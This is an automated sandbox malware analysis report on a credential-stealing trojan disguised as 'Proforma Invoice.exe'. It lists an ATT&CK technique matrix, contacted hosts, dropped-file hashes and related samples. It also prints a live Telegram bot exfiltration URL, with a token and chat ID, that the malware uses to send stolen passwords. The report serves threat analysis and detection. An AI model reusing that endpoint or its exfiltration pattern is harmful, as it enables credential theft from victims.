Source: Yara match	File source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00716283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00716283
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00716747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00716747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	11 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	121 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	231 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Proforma Invoice.exe	53%	ReversingLabs	Win32.Trojan.Nymeria
Proforma Invoice.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://api.telegram.org8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org	RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org8	RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839	RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
http://reallyfreegeoip.org	RegSvcs.exe, 00000001.00000002.4216346327.0000000003132000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.0000000003104000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000001.00000002.4216346327.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot-/sendDocument?chat_id=	Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580085
Start date and time:	2024-12-23 21:49:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Proforma Invoice.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 57 Number of non-executed functions: 276
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Proforma Invoice.exe

Simulations

Behavior and APIs

Time	Type	Description
15:50:19	API Interceptor	10632766x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	tg.exe	Get hash	malicious	Babadeda	Browse
	tg.exe	Get hash	malicious	Babadeda	Browse
	setup.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	user.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
	8v1GZ8v1LF.exe	Get hash	malicious	Unknown	Browse
	HX Design.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse
104.21.67.152	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	0001.exe	Get hash	malicious	Snake Keylogger	Browse
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
193.122.6.168	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	YU SV Payment.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MV GOLDEN SCHULTE DETAILS.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Order_12232024.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	rTTSWIFTCOPIES.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	YU SV Payment.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
reallyfreegeoip.org	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Order_12232024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	rTTSWIFTCOPIES.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	YU SV Payment.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
api.telegram.org	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	setup.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	149.154.167.220
	user.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	149.154.167.220
	8v1GZ8v1LF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	HX Design.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	149.154.167.220
	2QaN4hOyJs.exe	Get hash	malicious	XWorm	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Order_12232024.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	rTTSWIFTCOPIES.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	nshkmips.elf	Get hash	malicious	Mirai	Browse	132.145.36.70
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	nshkarm.elf	Get hash	malicious	Mirai	Browse	140.238.15.102
	nshsh4.elf	Get hash	malicious	Mirai	Browse	140.238.98.44
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
TELEGRAMRU	ChoForgot.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	setup.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.18.20.226
	Play Aud.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://flowto.it/8tooc2sec?fc=0	Get hash	malicious	Unknown	Browse	104.18.35.227
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.20.87.8
	vFile__0054seconds__Airborn.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://jkqbjwq.maxiite.com	Get hash	malicious	Unknown	Browse	104.16.123.96
	[External] 120112 Manual Policies Overview Guide_ 8VM8-WZPT3L-LYH1.eml	Get hash	malicious	Unknown	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Order_12232024.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	rTTSWIFTCOPIES.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Browser.Daemon.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Browser.Daemon.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	WO.exe	Get hash	malicious	Metasploit	Browse	149.154.167.220
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	149.154.167.220
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	149.154.167.220
	acronis recovery expert deluxe 1.0.0.132.rarl.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	149.154.167.220
	Ref#20203216.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\Proforma Invoice.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.584265757282919
Encrypted:	false
SSDEEP:	768:G3i/suPhEVsHCJOG+gwp5Jm6fqL0Jl1ofnQ1uLphM:Ui0uPhbiJOVpuLDM
MD5:	2323A1858B32A2E16D291E717425110C
SHA1:	E55A21BCC7289123D82303A7BA62787025F8F169
SHA-256:	E845FD6FC71F2CA92289972109C55E1F0E8426561848CBD53A936C2E0590452C
SHA-512:	DEA42A7B47062FB237A8377F90860000BC8A6683EDAAD188A4E3B6FD0D443A2B7DB271F49BD2BBEF8B3361980F50100F0CE1F117DFE3FFDE9640B1A048781017
Malicious:	false
Reputation:	low
Preview:	x055b8ce18cecc20000065758bb6000000669854489b560000006698d468ab27000000669855888be6000000669854a89b560000006698d4c8abc6000000669855e88b33000000669854099b230000006698d429abe2000000669855498b46000000669854699bc60000006698d489abc6000000669855a9330c669854c99be60000006698d844ffffffab4700000066985964ffffff8b4600000066985884ffffff9bc60000006698d8a4ffffffabc6000000669859c4ffffff8be2000000669858e4ffffff9b460000006698d805ffffffabc600000066985925ffffff8bc600000066985845ffffff339c6698d865ffffffab570000006698550d8b370000006698542d9b560000006698d44dab270000006698556d8b330000006698548d9b230000006698d4adabe2000000669855cd8b46000000669854ed9bc60000006698d40eabc60000006698552e330c6698544e9b160000006698d886ffffffab46000000669859a6ffffff8b67000000669858c6ffffff9b160000006698d8e6ffffffab0700000066985907ffffff8b9600000066985827ffffff9b330000006698d847ffffffab2300000066985967ffffff8be200000066985887ffffff9b460000006698d8a7ffffffabc6000000669859c7ffffff8bc6000000669858e7ffffff339c6698d408ab370000006698550a8b86

C:\Users\user\AppData\Local\Temp\autA10F.tmp

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice.exe
File Type:	data
Category:	dropped
Size (bytes):	67870
Entropy (8bit):	7.907921822138917
Encrypted:	false
SSDEEP:	1536:t4mKMSlcyCGkkFw05Ra5oIH6QR8kDIQok6/KJ6Kjnl:em7lyCGkFv5XH18S7oTW6KLl
MD5:	4037A07080238335F92A5D22249E73AC
SHA1:	693EACA68F21D3EC3A4FCB3B9927D4128C4B0D75
SHA-256:	83987C41548AFE4935777F3601B7484AA5960ACE0C033BB286E02B900C3D9B58
SHA-512:	440FC42CC56F14F4AB3FE4B873AADD02A5EC170F49DC4527AA578262B7EF9FFFFD3C93FB2FD1BE55E72646E20381128481DC7B6EF745510A14909C1ECCAE379D
Malicious:	false
Reputation:	low
Preview:	EA06..n..Z....M.P...^..G..h.uj.P..g3.u2..4U....j.G...f..5....:...4_.3.o.Q...'...3...aY.E'3.L.U1.K'.i..w..H-.{.z.;..$...r.a.N.N!9........#..4kK2.V...VsU..s..,N...=...h~...E.cN..A....x.i.... ......j.G.E..fT.P..).......hw..Un@..f.M.Q.:.leJsA.......mZ.0...:.C..@.;..M'.....8...........'z.P..b.9..`.h.N_..B..4O(.._..4._..L..N.R.....&e....P..[\|{].<....j3.E6...Ps......hE+Tj..19....? ..sd...7..O\|z...P&....M.4.......`.B..hX......g.N&.......'.0..H.h@@.....=.4%.....y.Qh....D.X..:..[).jF.4.Uf.z-.q.Q..y4jcN.t.@[..9A.T:40"".k.Q.\:..cJ.Bg4...8...=..E..)..........6.\.D..J...jJl..5K.\.4`...6.D.@...E..9.....'...9...t.J.3J..o........C.....eN{f..,.j...l......j.T.Ubs{$..K..j.)..Z..m.:,.r.T(u9.n.L...-.._...Xm.z,j...P...:.S.. ....hQm...:.F.^j...:.U..c.j.....Tg7j-.mb..,t:..5X.X.4.N..@..+./H....Z@-..X.x......nqA.V.0.-..2.E...-V#..N.@..r.Q.....:.@.Z.3....y..i...>.T.e.eJ.P.....kd.T.sk..qi..N.:=..N.S..\.3w.T.v{..n..v..z-..l.V7.Z.Vs3.S....y<..4;.>.0.S.u..^w2..s.M>Q..

C:\Users\user\AppData\Local\Temp\autA16E.tmp

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice.exe
File Type:	data
Category:	dropped
Size (bytes):	9692
Entropy (8bit):	7.598267964224609
Encrypted:	false
SSDEEP:	192:c09SJLZ7jNO7shj/XD+9uTiSeShmJJggNJchEQX6pkVyA0fApOfYTRBuRuobuDG8:X9SJtjh/XD+o2wgPnchxXNVyA8AUfmIu
MD5:	EA14E6666108A4F985B9BB82948CCCC5
SHA1:	94BEB01C2EAA118F0C2970EB07E6757A24233D60
SHA-256:	7C6453CA557E8D2163742521295C1D8E427B31BD8EB4B99216C9AFA5E3BBF0E2
SHA-512:	C2495C5A0E52C735CA579D40F3117FB6EF15A900CB95535C46187FB2780C5042FBA5155A8CEC57F9489236CBCEE2376E3FBE1C77EBB63BE904C2099A65C5838C
Malicious:	false
Reputation:	low
Preview:	EA06..p..L&.[...e....;..`....y...b.......s8..&...j.%.$.m8..Sp.N.g.....m.X@..K...c.$....lL.`..Ng6)...l.I...b....4..,S@..l.l.-z..f.6\|v...Qc.0.......q4.Y..k..h......c ._..p.1....qa.H....9..$l.3..Y@.6...$.a5.H.f@.....\|3....fs9..%d.M...5...&.@.@.K.I.....Y.x>9.....Y.j.;.......j.;-....Y@j.9.....K,..1...'.`....\|.....,S`..N,`...H.......\|....F. ,_...c3..........;..:&.>_L.n....f.G_T......\|.).......&.....8...&V....ia...=.....Y......&..`.l..\|.[.....Yl ....ab...,@....ib........h.._..@...3\|.P.o.ac.....+.....N.i\|sk....8..4\|.0...c....7....k ..7.X..TD....M&`....g....,,`....>.Y...$.@&....L&.P.....32.\|&.G%......h...,..33.%.....BS...Nf......f.4.L,.9."....Bvp.Y...ffS{$..d..,.@8@.......@.3d.L..k4.h..M.B:.Y...fg6.;.ab....98.L..:.....of.L.*..Fp........36.Y&.k,.b...' !...,t.33.4.c2.X.M....#......j.d...[..%3.....c....M'6...ic....!..,..3 k..p....@...L&..........., ....#......f.8.X..K..`....zn........0{.k7....!..,...S.%..9..J@^@.G'.......aa.M..)LM@B:.Y...ffS...r....@...N@.:.....n..Mf@....

C:\Users\user\AppData\Local\Temp\disimmure

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.906412491860936
Encrypted:	false
SSDEEP:	1536:QJgCMwAhNyuXH41RzjzJBjhMJ8JzU5ErRvahFT1bfa7JjMPFVFMRmNDK:3CMwChIrzxBjCJ6w5ErlCF57atjMPFj8
MD5:	73BB5A555A277F646C728D8DDD56E8BB
SHA1:	056DB1047A44D4DDDC6AD908CA8E83BD0F9E952C
SHA-256:	A793E580832FE31A83401392E1F83EAF7B421F377E164E64859F1FE32133D0F1
SHA-512:	4AC0D7330970BB42FA9A903722E341853EA763F40E0460B366D60749EF55FEDB1E1D0ADAE16D380690248353CA7F191DB291BB8D98286D7E577BD546F3FDA163
Malicious:	false
Reputation:	low
Preview:	tk.LP9MMRB8A.QG.EE2NZFP.U91NLS9MMVB8A4ZQGEEE2NZFPCU91NLS9MM.B8A:E.IE.L.o.G..tmY'?sI?"10Y,.90)+1.,?f"6;.X l.v.m;-\$.W\MaEE2NZFP..91.MP9.w#.8A4ZQGEE.2L[MQ.U9UOLS1MMVB8A:.PGEeE2N.GPCUy1NlS9MOVB<A4ZQGEEA2NZFPCU9.OLS;MMVB8A6Z..EEU2NJFPCU)1N\S9MMVB(A4ZQGEEE2NZ..BUr1NLS.LM.G8A4ZQGEEE2NZFPCU91N.R9AMVB8A4ZQGEEE2NZFPCU91NLS9MMVB8A4ZQGEEE2NZFPCU91NLS9MmVB0A4ZQGEEE2NZNpCUq1NLS9MMVB8A..4?1EE2Z8GPCu91N(R9MOVB8A4ZQGEEE2NZfPC5.C=>09MM.G8A4.PGECE2N<GPCU91NLS9MMVBxA4..5 )QNZJPCU9.OLS;MMV.9A4ZQGEEE2NZFP.U9sNLS9MMVB8A4ZQGEE..OZFPCUq1NLQ9HMN.8A..QGFEE2.ZFV#.91.LS9MMVB8A4ZQGEEE2NZFPCU91NLS9MMVB8A4ZQGEEE2.'._...X=.9MMVB8@6YUAMME2NZFPCUG1NL.9MM.B8A.ZQG`EE2#ZFPgU910LS93MVB\A4Z#GEE$2NZ.PCUV1NL=9MM(B8A*XyXEEO.hZDxcU9;Nf.JlMVH.@4ZU4gEE8.XFPG&.1NF.:MMR1.A4P.CEEAAkZFZ.P91Jf.9N.@D8A/5iGEOE1.O@PCN..NN{.MM\B.g4Y.RCEE)dxFR.\91Jf.JPMVD..4Z[3LEE0.PFPG.'3f.S9Ggt<+A4^zGog;&NZB{C..O[LS=fM\|`FW4ZUlEogLYZFThU.7d.SK.AV2;.UZQAm.E2Dr.PCS9.tL-7MMR@W.4Z[ao.E..ZFVC}o1NJS..MVD8i`ZQAEm.2N\FzyU.aNLU9e.VB>A..Q9vEE6b]8cCU=.X2b9MI.D@A

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.827037255023258
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Proforma Invoice.exe
File size:	955'392 bytes
MD5:	58d259f56b4715bcea1ddebbc2735eb2
SHA1:	70ed1319ecebab15376dca298c0add6884c1f7f6
